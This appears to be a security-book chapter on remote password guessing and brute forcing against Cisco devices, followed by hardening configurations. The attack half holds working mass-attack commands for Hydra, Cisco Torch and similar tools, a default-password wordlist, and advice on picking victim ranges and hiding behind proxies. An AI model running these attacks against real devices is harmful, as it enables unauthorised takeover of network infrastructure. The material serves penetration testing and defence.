PASSWORD ATTACKS
| | ||
| | ||
| | ||
Here we review remote attacks aimed at bypassing Cisco devices' password/username based authentication. Cracking passwords in obtained configuration files is the topic of Chapter 9.
Passwords and usernames on a Cisco host can be guessed or bruteforced via the following remote access means:
-
Telnet
-
File Transfer Protocol (FTP)
-
SSH
-
Management web interface
-
Dial-in access
Of these entry points, Telnet passwords remain the most popular among attackers . SSH access is uncommon on routers and switches, while on PIX firewalls Secure Shell Daemon (SSHd) is disabled in default configuration and, in our observations, is rarely open to the outside world by system administrators after the firewall is configured. At the time of this writing, you are unlikely to find a lot of Cisco hosts when scanning for running SSHd, but this is likely to change.
Mass Guessing/Bruteforcing Attacks Against Open Cisco Telnet Servers
| Attack |
|
First of all, the discovery of Cisco hosts running such servers is different from the indepth fingerprinting we described in Chapter 5. We discussed a somewhat timely procedure suitable for a professional penetration tester or a dedicated attacker with a specific target in mind. A "mass attacker" doesn't care which IOS or CatOS version is running on the scanned hosts; nor does such an attacker care what other ports are open on them. Instead, this attacker type wants to find as many hosts that look like Cisco devices with an open Telnet port as possible, in the shortest period of time. To do that, a cracker is likely to use a small, specialized, and very fast scanning tool instead of a universal portscanner like Nmap. Such tools must use one simple method to identify a Cisco box. One such well-known method is sending a TCP SYN to port 1999 (Cisco tcpid-port) and waiting for a TCP ACK-RST, which is supposed to contain a "Cisco" string. However, this method is rather obsolete and does not seem to work against newer IOS versions:
arhontus / # tcpdump host 192.168.66.202 -vv -xX -s 1500 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1500 bytes 00:26:01.320058 IP (tos 0x10, ttl 64, id 49303, offset 0, flags [DF], length: 60) kabanos.core.arhont.com.50365 > 2611a.dmz.arhont.com.tcp-id-port: SWE [tcp sum ok] 1400404222:1400404222(0) win 5840 <mss 1460,sackOK,timestamp 154253417 0,nop,wscale 0> 0x0000: 0002 b365 bd02 0004 75e7 2651 0800 4510 ...e.... u.&Q..E. 0x0010: 003c c097 4000 4006 68f4 c0a8 4d05 c0a8 .<..@.@.h...M... 0x0020: 42ca c4bd 07cf 5378 78fe 0000 0000 a0c2 B.....Sxx....... 0x0030: 16d0 c4b8 0000 0204 05b4 0402 080a 0931 ............... 1 0x0040: b869 0000 0000 0103 0300 .i........ 00:26:01.333065 IP (tos 0x0, ttl 254, id 29795, offset 0, flags [none], length: 40) 2611a.dmz.arhont.com.tcp-id-port > kabanos.core.arhont.com.50365: R [tcp sum ok] 0:0(0) ack 1400404223 win 0 0x0000: 0004 75e7 2651 0002 b365 bd02 0800 4500 ..u.&Q...e.... E. 0x0010: 0028 7463 0000 fe06 374c c0a8 42ca c0a8 .(tc.... 7L..B... 0x0020: 4d05 07cf c4bd 0000 0000 5378 78ff 5014 M......... Sxx.P. 0x0030: 0000 05ac 0000 0000 0000 0000 ............
As you can see, no "Cisco" string appears in the reply packet. Even if one appeared, it wouldn't mean that the router was running telnetd, which is what we need to find. Thus, a tool that would simply check and verify the telnetd banner seems to be what the doctor ordered.
The most commonly used tool is probably Cisco Scanner by 0kiwan. The original version of the tool, which can be downloaded from Packetstorm ( http://www.packetstormsecurity.org/cisco/ciscos.c ), takes only classful IP ranges as input and looks for the router-specific " User Access Verification/n Password:" telnetd banner string. We have implemented a more advanced method of Cisco telnetd discovery and telnetd responsebased Cisco device fingerprinting in our Cisco Torch Mass Scanner tool, which was released as we wrote this book:
arhontus/$ perl cisco-torch.pl -t 192.168.66.202 Using config file torch.conf... ############################################################ # Cisco Torch Mass Scanner 0.2 beta version # # Because we need it... # # http://www.arhont.com/index-5.html # ############################################################ List of targets contains 1 host(s) 4972: Checking 192.168.66.202 ... Fingerprint: 2552511255251325525324255253311310 Description: Cisco IOS host (tested on 2611, 2950 and Aironet 1200 AP) Fingerprinting Successful ---> - All scans done. Cisco Torch Mass Scanner 0.2b - ---> Exiting.
Telnet scanning with Cisco Torch will identify telnetd running on nonrouter Cisco machines, such as Catalyst switches and PIX firewalls. The addresses of found Cisco hosts will be saved in a scan.log file in the tool directory. Surely, you can specify any IP range for scanning and combine scanning with a dictionary attack on the fly ( -b option). Machines with no telnetd running will not show up on a fingerprinting scan.
Of course, a system administrator can (and, indeed, should) modify the login banner. This is when Telnet fingerprinting comes in very handy, since this fingerprint cannot be changed by the administrator (without reverse-engineering IOS, CatOS, or PIX OS, anyway). Also, in this case an attacker is looking for a host with a default or easily guessable password, and so-called "system administrators" who allow this to happen usually don't bother changing the banner.
Surely, a cracker may opt for using the Nmap -A or -sV option for mass banner grabbing using scripted multiple processes of the scanner and -n to speed up the scanning. A script- kiddie approach would be to supply Nmap with -iR to scan random hosts on the Internet. An intelligent cracker would not do that, however. Instead he or she will use the methodologies described in Chapter 4 to select an optimal network range for the intended purpose. If the attacker is simply looking to take over as many hosts as possible, he or she would select large and densely populated autonomous systems (ASs) that are positioned quite close (in terms of both hops and delay) to the attacker's host(s).
A cracker who closely follows the current affairs can go further and take "political" considerations into account when choosing the range of targets to scan. For example,
ASs that belong to large companies that have gone bankrupt or that are undergoing a major merger are more likely to be mismanaged and contain many vulnerable hosts. In addition, ASs that belong to countries with massively developed IT infrastructures would contain more hosts to sweep through, while ASs that belong to developing countries suffering from "brain drain" would contain more vulnerable hosts. A careful attacker would not scan hosts on his or her own AS and would pick up target IP ranges belonging to the countries from which she or he is unlikely to get sued.
It deserves to be mentioned that smaller, faster, and Cisco-unrelated banner grabbers can be used to scan for Cisco devices with TCP port 23 open. We recommend mig-tel-netd-scan for its speed; mothra-v1 also does a decent job. Dwelling further on these tools deviates from the aims of this chapter, however, and now it is time to switch to the topic of password bruteforcing itself.
First, let's consider manual password guessing. It does not seem to be very fast and efficient; however, it has one advantage. We have seen routers with the same login and/ or enable password as the router hostname or part of the hostname. In a few cases, the passwords were similar to the company name (checked via whois) or related to it. Creative manual password guessing can succeed in some cases, when automated password guessing fails, and should not be dismissed.
Automated password guessing can be performed using a variety of toolsboth Cisco-specific and general. Both of the following tools can be found at the Packetstorm web site and a few other places. A Cisco-specific bruteforcing tool is Cisco Crack by B-r00t:
arhontus# perl Cisco_Crack.pl USAGE : Cisco_Crack.pl -h HOST -p PASSLIST -h = Hostname of CISCO Server. -p = List of Passwords to use.
Cracked hosts are appended to the Cisco_Crack file.
Alternatively, you can use CiscoAuditTool (CAT) when you need to go through a long list of hosts in a mass attack:
arhontus#perl CAT -f hostlist.txt -a passwordlist.txt -l 0wn3d.txt -q &
Of course, you can easily combine CiscoAuditTool with Cisco's or any other banner grabbing tool by feeding their output IPs to CiscoAuditTool as they get discovered . (A word of warning: in our experience, CiscoAuditTool was rather slow.) Our Cisco Torch tool can do this job in an efficient manner:
arhontus / # perl cisco-torch.pl -t -b 192.168.77.250 Using config file torch.conf... ########################################################### # Cisco Torch Mass Scanner 0.2 beta version # # Because we need it. # # http://www.arhont.com/index-5.html # ########################################################### List of targets contains 1 host(s) 5007: Checking 192.168.77.250 ... Fingerprint: 2552511255251325525311310131067 Description: Cisco 5000 Catalyst Fingerprinting Successful Tryng cisco:cisco Tryng cisco:Cisco Tryng cisco:cisco1 Tryng cisco:router Tryng cisco:123456 Tryng cisco:pix
This would continue on until the correct username/password pair is guessed. The tool will automatically determine whether a username/password or just password login is used, so you don't need to worry about that.
The next logical step would be bruteforcing for enable. This can be easily done with enabler :
arhontus / # ./enabler [`] enabler. [`] cisco internal bruteforcer. concept by anyone [`] coded by norby [`] usage: ./enabler <ip> [-u user] <pass> <passlist> [port]
But what do you do if you want to guess enable on multiple hosts or attack username/password Telnet logins and do not plan to engage in shell scripting and tool modification? Hydra by Van Hauser/THC is the answer. Hydra is the most universal remote passwordauditing tool that supports parallel connects and a long list of protocols and services, including Telnet, FTP, HTTP, HTTP Over Secure Sockets Layer ( HTTPS ), HTTP-PROXY, Lightweight Directory Access Protocol (LDAP), Server Message Block (SMB), SMBNT, MS-SQL, MySQL, REXEC, SOCKS5, VNC, POP3, Internet Message Access Protocol (IMAP), Network News Transfer Protocol (NNTP), PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-AUTH, SSH2, SNMP, CVS login, and Cisco AAA security technology. At the moment of writing, Hydra does not support SSHv1, frequently used by Cisco devices, but the support of this protocol is on the to-do list.
Hydra compiles on all UNIX-like systems (including Mac OS X), Windows with Cygwin, and Palm OS. If your Hydra has crashed or you had to abort the tool with CTRL-C, a hydra.restore file allows you to restore the broken session. However, when parallel hosts are attacked , the restore session feature doesn't work and all data would be lost.
To run a mass dictionary attack for Telnet username/password pairs, use Hydra with options such as these:
arhontus / # hydra -L cisco.logins -P cisco.passwords -M hosts.list -o 0wn3d.txt -t 50 -e n -V telnet
Note that if you want a lightweight tool for username/password pair Telnet dictionary attacks, you can also opt for TeeNet, a small utility from Phenoelit. It is easy to use:
arhontus / # ./tn TN (TeeNet) - (C) 1999 by Phenoelit (http://www.phenoelit.de) Version 0.1.2 Usage: -[vVuc] [-t timeout -T timeout(usec)] -a username -w wordlist -h host [-p port] [-L loginpattern] [-P passwordpattern] [-S shellpattern]
You can read more about TeeNet and download the tool from http://www.phenoelit.de/tn/docu.html .
Three Perl tools are also available for Telnet cracking that use the Net:Telnet modulenamely Nirvana, Telnet_Crack, and Brutus. Their functionality is quite similar to TeeNet, even though Brutus can also attack FTP, Post Office Protocol 3 (POP3), and SMTP servers.
To use Hydra against Cisco devices asking for Telnet password only, use the cisco option:
arhontus#hydra -P cisco.passwords -M hosts.list -o 0wn3d.txt -t 50 -V cisco
Finally, for mass enable cracking, try this out:
arhontus#hydra -P cisco.passwords -M hosts.list -o 0wn3d.txt -t 4 -V -m <insert the password here> cisco-enable
The number of parallel tasks should be set to 4 . (Note that we cannot supply a list of enable passwords for guessing using this tool as it is; you will have to resort to some basic scripting to do that if needed.)
Of course, massive dictionary attacks such as we have described will be very noisy with a high probability of the attacking host landing on the DShield Top 10 Most Wanted list. In addition to using a hacked-up host for launching mass dictionary attacks or running them through a cracked wireless link, an attacker can scan via a proxy using Hydra. The tool supports two variables , namely HYDRA_PROXY_HTTP and HYDRA_PROXY_CONNECT , which allow proxy scanning. The authenticated proxies are also supported. To scan through a proxy, simply set the variable you need in the console. Here's an example:
HYDRA_PROXY_CONNECT="proxy.testnet.arhont.com:3128"
If you don't feel comfortable using a UNIX command line, you can run Xhydra, which is a GTK interface for Hydra (Figure 6-1).
Figure 6-1: Xhydra at work
Xhydra supports all options available from the command line and shows the actual command executed at the bottom of the interface and the output (including the cracked passwords) in the Start window. Of course, another GUI option is to run Nessus ( http://www.nessus.org ), which uses Hydra for remote password guessing attacks (Figure 6-2), enabling only the dictionary attack options and the portscanner to know which services are there to attack.
Figure 6-2: Hydra support in Nessus
No doubt, you have already wondered which default passwords are common on Cisco devices. In our experience, cisco , cisco1 , router , password , password1 , and secret top the list together with passwords that are either the appliance hostname or a part of it. As for the enable passwords, surprisingly, enable , enabled , and enable1 are not that popular. As to other, more specific Cisco hosts and software, we strongly suggest you have a look at the default passwords list maintained by Phenoelit ( http://www.phenoelit.de/dpl/dpl.html ). You can also consult password lists at iSpeed ( http://www.ispeed.org/password.htm ), http://www.CIRT.net ( http://www.cirt.net/cgi-bin/passwd.pl?method=showven&ven=Cisco ), zone-h ( http://www.zone-h.org/files/46/Default%20password%20list.htm ), and IndianZ ( http://www.indianz.ch/passwords.html ) as well. Many of these sources are derived from the Phenoelit site.
In general, when creating the password lists to run against various types of login to Cisco appliances, try out something like the following:
cisco cisco1 router password gateway internet admin secret router1 rtr switch catalyst secret1 root enable enabled netlink firewall ocsic retuor password1 c1sc0 cisc0 c1sco r00t rooter r0ut3r r3wt3r rewter root3r rout3r r0uter r3wter rewt3r telnet t3ln3t access as5300 as5800 dialin cisco2600 cisco2500 cisco2900 cisco3500 cisco7000 cisco3600 cisco1600 cisco1700 cisco5000 cisco5500 cisco6000 cisco6500 cisco800 cisco700 cisco1000 catalyst1900 catalyst1800 catalyst2900 catalyst3500 catalyst3900 catalyst5000 catalyst6000 catalyst5500 catalyst6500 cisco12345 cisco1234 cisco123 cisco12 p4ssw0rd r3wt r3w7 r007 4dm1n adm1n s3cr3t s3cr37 1nt3rn3t in73rn37 ciscovoip voip
This is similar to the list of passwords included with Cisco Torch (also have a look at users.txt , which comes with the tool).
Be creative, and take the following into account:
-
Model of the appliance shown by your scanning tools, such as Nmap.
-
Whois outputfor example, address and system administrator's name included in it, as well as the geographical position of the router and linguistics .
-
The fact that the router could have been taken over by crackers and have the login password changed into something in 1337 (Leet language), like some of the examples shown earlier. We have seen such cases in the wild.
You should try to discover as much information about the network administrator as you can using Google, social engineering, and other methods . For example, if the network administrator is obsessed with Star Trek , the password may be related to the movie. In fact, premade Star Trek related password lists are available online. Or, sometimes, hostnames of routers and switches may give away a system administrator's obsessionsfor example, characters or places from a well-known film or story. Logic and common sense are the most powerful weapons when it comes to the art of password guessing, not to mention insider information, if it's available.
Password Guessing and Bruteforcing Attacks Against Other Open Cisco Services
| Attack |
|
While these attacks are not as common as Telnet access bruteforcing, they cannot be ignored and do take place quite frequently. However, they belong to the realm of specific penetration testing rather than mass scanning of vulnerable devices (with a possible exception of web interfacerelated attacks). The services that can be found open on Cisco hosts include management web interfaces ( ip http server ), SSHd, and, in rare cases, FTPd (enabled on a Cisco router with the ftp-server enable command). Of course, SNMP server attacks are also considerations, but we devote a separate section to SNMPrelated attacks due to their real-world importance.
Various tools are available for running dictionary and bruteforce attacks against web server login authentication. Of course, Hydra would do the job with options for dictionary attacks for both HTTP and HTTPS-supporting web servers. Here's an example:
arhontus / # hydra -L logins.txt -P passwords.txt -o 0wn3d.txt -t 50 -V -M servers.txt http arhontus / # hydra -L logins.txt -P passwords.txt -o 0wn3d.txt -t 50 -V -S -M servers.txt https
| Countermeasure | HTTPS-supporting servers are commonly run on PIX firewalls. However, Cisco routers can also run HTTPS starting from the IOS version 12.2(14)Son 7100 series and 7200 series routers since 12.1(11b)E. To enable the server, use the ip http secure-server command. |
Obviously other, more lightweight programs, such as tforce, can perform guessing attacks against web logins:
arhontus / # ./tforce tForce v1.0.0 // necrose@truncode.org Usage: ./tforce [--host <host> --port <port> --realm <realm> --user <user> --list <file> ] [--forcehost --time <times> --sleep <seconds> --nocheck --verbose --debug] [--ssnsave <file> --ssnresume <file> --distributed <nodes> --nodeid <id> ] (Options preceding a * are required options) * -h, --host, connect directly to webserver <host> or proxy server <host> -f, --forcehost, forces Host: <host> (on servers with multiple domains) -p, --port, connect to <port> on the target host (default: 80) -t, --times, reconnects <times> before program fails (default: 5 times) -s, --sleep, sleep <seconds> before retrying (default: 10 seconds) * -r, --realm, HTTP <realm> to attack (Example: http://www.tc.com/realm/) -n, --nocheck, disable HTTP realm validation * -u, --user, use <user> as the username to login to the HTTP realm * -l, --list, use <file> as password list (plain ASCII text file required) -v, --verbose, enable verbose mode, keep track of current password -d, --debug, enable debugging mode, verbose and HTTP response output (Options related to session management and distributed mode) --ssnsave, save session to session <file> --ssnresume, resume session using session <file> --distributed, enables distributed mode, with <nodes> systems --nodeid, creates session file for system's <id> in distributed mode (Example: ./tforce -h tc.com -p 80 -r http://www.tc.com/rlm/ -u un -l pl) See [http://www.truncode.org] for more information
However, the majority of these programs lack the functionality of Hydra, such as the ability to attack multiple hosts or run parallel probes. Interestingly, probably more web logincracking software is available for Windows than for Linux and BSD, with some rather nice bruteforcing options (again, check out the Packetstorm web site). We like Unsecure (Figure 6-3) for its elegance and simplicity, but far more tools are available than we can list heretry them out if you want to.
Figure 6-3: Unsecure remote password cracker
Unsecure is somewhat universal and can be useful for attacking all kinds of services that use the plaintext login/password pairfor example, FTP and POP3/SMTP servers.
Cisco Torch supports both web interfacebased Cisco device fingerprinting and bruteforcing of normal and secured by Secure Sockets Layer (SSL) Cisco webmanagement logins with automatic recognition between enable password and username/password login types:
arhontus / # perl cisco-torch.pl -w -b 192.168.66.202 Using config file torch.conf... ############################################################### # Cisco Torch Mass Scanner 0.2 beta version # # Because we need it... # # http://www.arhont.com/index-5.html # ############################################################### List of targets contains 1 host(s) 5058: Checking 192.168.66.202 ... Cisco-IOS Webserver found HTTP/1.1 401 Unauthorized Date: Sat, 06 Mar 1993 20:58:07 GMT Server: cisco-IOS Accept-Ranges: none WWW-Authenticate: Basic realm="level_15_access" 401 Unauthorized Cisco WWW-Authenticate webserver found HTTP/1.1 401 Unauthorized Date: Sat, 06 Mar 1993 20:58:07 GMT Server: cisco-IOS Accept-Ranges: none WWW-Authenticate: Basic realm="level_15_access" 401 Unauthorized Try password: cisco Try password: Cisco Try password: cisco1 Try password: router Try password: 123456 Try password: pix <snip>
In this example, the tool has correctly determined that password-only login is used.
As for the SSH cracking, the choice of tools here is more limited. Hydra is available:
arhontus / # hydra -L logins.txt -P passwords.txt -o 0wn3d.txt -t 30 -V -M servers.txt ssh2
Unfortunately, very few Cisco appliances support SSHv2 at the moment of writing. Quite surprisingly, at this point, no SSHv2 support is available in PIX OS as well as CatOS. However, newer versions of IOS starting from 12.3(4)T (server) and 12.3(7)T (client) do support this security protocol. These servers will automatically fall back to SSHv1, unless the use of a second version is explicitly defined with an ip ssh version 2 command (if this command is not available, only SSHv1 is supported). But in the majority of cases, you will still encounter SSHv1-only servers open on Cisco hosts in the wild, and you won't see such hosts often. You should not expect high password-guessing speeds, since SSH connections are more resource-hungry and take longer to establish compared to their Telnet counterparts. To run dictionary attacks against both versions of the SSH protocol, you can use a casual SSH client run from a simple script, available at SecuriTeam ( http://www.securiteam.com/tools/5QP0L2K60E.html ):
arhontus / # ./ssh_brute Usage: ./ssh_brute <dictionary-file> <hosts-file> <user-file>
Or you can use Cisco Torch for both SSHv1 and SSHv2 login credentials guessing:
arhontus / # perl cisco-torch.pl -s -b 192.168.77.110 Using config file torch.conf... ############################################################### # Cisco Torch Mass Scanner 0.2 beta version # # Because we need it... # # http://www.arhont.com/index-5.html # ############################################################### List of targets contains 1 host(s) 5326: Checking 192.168.77.110 ... Cisco found by SSH banner SSH-1.5-Cisco-1.25 Trying cisco:cisco Trying cisco:Cisco Trying cisco:cisco1 Trying cisco:router Trying cisco:123456 Trying cisco:pix Trying cisco:firewall <snip>
FTP servers on Cisco hosts are also uncommon and are usually encountered on specific appliancesfor example, Aironet wireless access points or private interfaces of Cisco 3000 virtual private network (VPN) concentrators . Once you get an FTP login, you can download the device configuration file with a standard FTP get command and crack the passwords stored in it.
A more interesting approach, reviewed in Chapter 10, is to replace the cracked device OS with a backdoored binary and reboot the device. IOS 11.3 also can be configured to run an FTPd. Such an FTP server needs to have a top-level directory specification via the ftp-server topdir command; otherwise , FTP clients will not be able to access any files or directories on the router. Thus, unless a system administrator has defined Nonvolatile RAM (NVRAM:) or FLASH: to be accessible via FTP, cracking the FTP login to such a router is of little use.
Finding tools to run dictionary and bruteforcing attacks against FTP servers is an easy task. Again, you can employ the ever-universal Hydra or Unsecure. One of the lightweight tools we have already mentioned is Brutus ( http://www.hoobie.net/brutus/ ). Another utility can attack both Telnet and FTP (if necessary, simultaneously ) and, unlike Brutus, it is written in C: here's RPA, or Remote Password Assassin ( http://www.securityfocus.com/tools/1416 ):
arhontus / # ./rpa Remote Password Assassin V 1.0 Roses Labs / w00w00 Usage: ./rpa <host> (options) Options: -l : Login file to use. -s : Use the same login. -c : Password file to use. -r : Attack FlowPoint Router. -t : Attack Telnet Port. -f : Attack FTP Port. -p : Attack POP Port.
A command such as this,
arhontus# ./rpa <insert host IP here> -t -f -c passwords.txt -s cisco
will attack a given host's FTP and Telnet servers simultaneously with a list of passwords and a single login name: cisco . Many FTP-specific password-guessing tools, such as FHB (FTP Hard Brute), FTP_crack, og-brute, and userl4nd (UNIX-like systems) or EliteSys Entry (Windows systems), are also available. You can easily find these tools at Packetstorm ( http://www.packetstormsecurity.org ) and other major security sites. Since they have very similar functionality and are simple to use (feed in the IPs, login names , and password lists and go), we will not review them here.
Countermeasures to Cisco Appliance Password-Guessing Attacks
| Countermesure | Some of these defensive measures are quite straightforward:
|
An old joke goes like this: "I was told that I should not choose the name of my cat as a root password, but I was too arrogant to listen and now all my servers are gone! I am so sad, oh my, dear fluffy %3#P$j&F*!" You have probably heard a variation of this joke and all the recommendations above many times. Unfortunately, some people haven't heard or simply ignore them. To curtail that, a few features in the recent IOS versions allow some control over the device password selection. One such feature is the security passwords min-length <length> command that prevents administrators from choosing short passwords (at least eight characters are recommended). Also, when the auto secure command is run, it checks that the login and enable passwords are not the same. This is vital , since on many routers with default or easily guessable passwords, a single insecure password is used for both privileged and unprivileged users.
| Counermesure | The auto secure and security passwords min-length <length> commands appeared first in IOS version 12.3(1), got fully integrated into 12.2(18)S, and were enhanced in 12.3(8)T. Because of the importance of auto secure in IOS hardening, we devote Appendix B to this feature; it is also mentioned in various countermeasures sections throughout the book. Unfortunately, nothing similar to auto secure is available for CatOS, PIX OS, or IOS-based Catalyst switches as of this writing. |
Surely, guessing a username/password pair is far more demanding of time and resources than guessing just a password. Thus, if you use a local authentication method, you should set up a username/password pair on a router with a command such as this:
cisco2611b(config)#username B1llG4tes password 1L0veM1cr#s&ft
Then set the local authentication method like so:
cisco2611b(config)#aaa new-model cisco2611b(config)#aaa authentication login telnet-auth local cisco2611b(config)#line vty 0 4 cisco2611b(config-line)#login authentication telnet-auth
Interestingly, on CatOS-based switches, the local username/password authentication method appeared rather late, starting from CatOS version 7.5.1 (as compared to TACACS+ support appearing in CatOS 2.2). It is implemented with this command:
set localuser user <username> password <password>
In addition, if you can afford it, use a centralized access control means, such as TACACS+, RADIUS, or Kerberos. To set up TACACS+ based login authentication, a typical set of commands would look like this:
In addition, if you can afford it, use a centralized access control means, such as TACACS+, RADIUS, or Kerberos. To set up TACACS+ based login authentication, a typical set of commands would look like this:
cisco2611b(config)#aaa new-model cisco2611b(config)#aaa authentication login telnet-auth group tacacs+ local cisco2611b(config)#tacacs-server host <IP-of-server1> key <key1> cisco2611b(config)#tacacs-server host <IP-of-server2> key <key2> cisco-2611b(config)#tacacs-server timeout 5 ! This simply shows the default timeout in seconds cisco2611b(config)#line vty 0 4 cisco2611b(config-line)#login authentication telnet-auth
On a CatOS switch, use this:
Gromozeka (enable) set authentication login local enable Gromozeka (enable) set authentication login tacacs enable telnet primary Gromozeka (enable) set tacacs server <insert server IP here> Gromozeka (enable) set tacacs key <keystring> Gromozeka (enable) set tacacs attempts 3 Gromozeka (enable) set tacacs timeout 5
Configuring RADIUS-based login authentication is similar:
cisco2611b(config)#aaa new-model cisco2611b(config)#aaa authentication login telnet-auth group radius local cisco2611b(config)#radius-server host <IP-of-server1> key <key1> cisco2611b(config)#radius-server host <IP-of-server2> key <key2> cisco2611b(config)#radius-server retransmit 3 ! This simply shows the default amount of retransmits cisco-2611b(config)#radius-server timeout 5 ! This simply shows the default timeout in seconds cisco2611b(config)#radius-server dead-criteria tries 3 cisco2611b(config)#radius-server challenge-noecho cisco2611b(config)#line vty 0 4 cisco2611b(config-line)#login authentication telnet-auth
This configuration will use RADIUS authentication/accounting ports 1645/1646. This is fine for a Cisco Secure Server that still employs these ports. For other RADIUS servers, you would probably need to change both ports to 1812 and 1813 with this command:
radius-server host <insert hostname or IP of the server here> auth-port 1812 acct-port 1813
On the contrary, on CatOS switches, RADIUS server ports used by default are 1812/1813. So when connecting the switch to the Cisco Secure Server, set the ports as shown here:
Gromozeka (enable) set authentication login local enable Gromozeka (enable) set authentication login local enable Gromozeka (enable) set authentication login radius enable Gromozeka (enable) set radius server <insert server IP> auth-port 1645 acct-port 1646 primary Gromozeka (enable) set radius key <keystring>
Add the reasonable timeout and login attempts number values, and you are set. RADIUS support on CatOS appeared, then later the TACACS+ support started from CatOS version 5.1.
To provide centralized remote user authentication on an IOS system using Kerberos, the router configuration would resemble this:
cisco2611b(config)#aaa new-model cisco2611b(config)#kerberos local-realm arhont.com cisco2611b(config)#kerberos server arhont.com <insert server IP here> cisco2611b(config)#kerberos credentials forward cisco2611b(config)#kerberos srvtab remote <insert server IP here> <insert srvtab filename here> cisco2611b(config)#aaa authentication login telnet-auth krb5 local cisco2611b(config)#line vty 0 4 cisco2611b(config-line)#login authentication telnet-auth
On a CatOS switch, try this out:
Gromozeka(enable)set authentication login local enable Gromozeka(enable)set authentication login kerberos enable telnet primary Gromozeka(enable)set kerberos local-realm arhont.com Gromozeka(enable)set kerberos server arhont.com <enter server IP here> Gromozeka(enable)set kerberos srvtab remote <enter server IP here> </pathname/filename> Gromozeka(enable)set key config-key <keystring>
Apart from having a username/password pair, a great advantage of using centralized authentication methods is the presence of detailed logs of credential guessing attack attempts on the authentication server. And, with Kerberos, you can map Kerberos instances to Cisco's privilege levels. Centralized enable login authentication can also be applied to enable on some IOS and CatOS versions, which gives you the advantage of more detailed logs to see whether any local users want to escalate their privileges.
Everything we have said so far about the centralized authentication can be applied to Cisco appliances' web interfaces. Local username/password authentication of IOS management web interfaces is done with the ip http authentication local command. Providing that RADIUS or TACACS+ authentication is set as shown in the preceding examples, it can also be used to secure Cisco HTTPd with ip http authentication aaa , gaining all the advantages of centralized authentication.
A frequently overlooked detail is setting a proper clipping level. By clipping level , we mean the amount of "guessing logins" allowed before the connection is dropped. Three is a good and universally accepted clipping level number. A legitimate user can make an error when typing a password once or even twice, but every attempt beyond three looks highly suspicious. Centralized authentication with RADIUS and TACACS+ provides us with a flexible clipping level setting via the amount of retransmits. Without it, auto secure , or Cisco IOS Login Enhancements, you are limited to the default clipping level of three. This is reasonable, but you might want to modify it in some cases. When the auto secure feature is available, the security authentication failure-rate <threshold-rate>log command can be employed to set the number of allowable unsuccessful login attempts (the default is 10). When this number is exceeded, a 15-second delay occurs and a syslog message is generated. Another parameter that makes sense to modify is the amount of sessions, set by a (config-line)#session-limit <sessions number> . This helps against bruteforcing tools capable of launching simultaneous connects to the Cisco telnetd. One is a safe number of accepted sessions; you shouldn't need more than one Telnet session to configure a router.
Cisco IOS Login Enhancements (ILE) is a reasonably recent security feature that was first introduced in IOS 12.3(4)T and integrated into 12.2(25)S. It allows better control and logging of login-related events for Telnet, SSH, and web interface connections to the supporting host. For instance, ILE introduces management of delay between successive login attempts, login blocking when an attack is detected , and a variety of additional logging messages. Setting up a custom delay between successive logins is done via a login delay <seconds> command, which is optional. The "main" ILE command (main configuration mode) looks like this:
login block-for <seconds> attempts <amount of tries> within <seconds>
The command is self-explanatoryit sets the amount of connections to the monitored services per given time that triggers the blocking or quiet period for a set number of seconds. The quiet period means that all additional connections likely to be originating from a bruteforcing or SYN flooding tool are denied . In case you want to preserve the ability to connect from your own host to the router when the attack is taking place, you can define the nonblocked host's IP via a standard access list. Then, enter the login quiet-mode access-class <access list number or name> command to specify the nonblocked host to the router. Finally, set logging for both successful and failed login attempts with login on-success log and login on-failure log commands. You can verify all the ILE parameters by entering show login and check unsuccessful login attempts via show login failures . The latter will list the amount of failures, usernames tried, and offending IPs with a timestamp added to each unlucky attempt.
| Tip | An auto secure no-interact command automates some of the functions listed so far. Entering auto secure no-interact enforces a 1-second login delay and enables logging for failed login attempts. It does not set any login shutdown a la login block-for . |
Of course, everything we've said so far presumes that the attacked service is accessible for crackers. As stated, leaving SSH, Telnet, or especially web interface access available from the public side is a really bad idea and should be avoided at all costs. While the SSHd on the majority of Cisco appliances is turned off by default (if supported at all), the same cannot be said about telnetd. An ideal solution is to restrict the device management to local console access where possible. You can do this on a router in a few different ways with only default telnetd runningwe prefer using the transport input none line configuration command that closes the Telnet port. However, system administrators tend to leave some form of remote access to the appliance available from the internal LAN. In such a case, all the recommendations provided heretofore can prove vital. In addition, a mundane recommendation sometimes offered is to restrict Telnet access to a selected host or network range. This is easy to accomplish with a standard access list; here's an example:
cisco-2611b(config)#access-list 1 permit host 192.168.77.5 log cisco-2611b(config)#line vty 0 4 cisco-2611b(config-line)#access-class 1 in
or
Catalyst5000(enable)set ip permit 192.168.77.5 255.255.255.255 telnet
Surely, such restrictions are easy to bypass with casual IP or ARP spoofing and should not be considered a reliable countermeasure.
| | ||
| | ||
| | ||
EAN: 2147483647
Pages: 117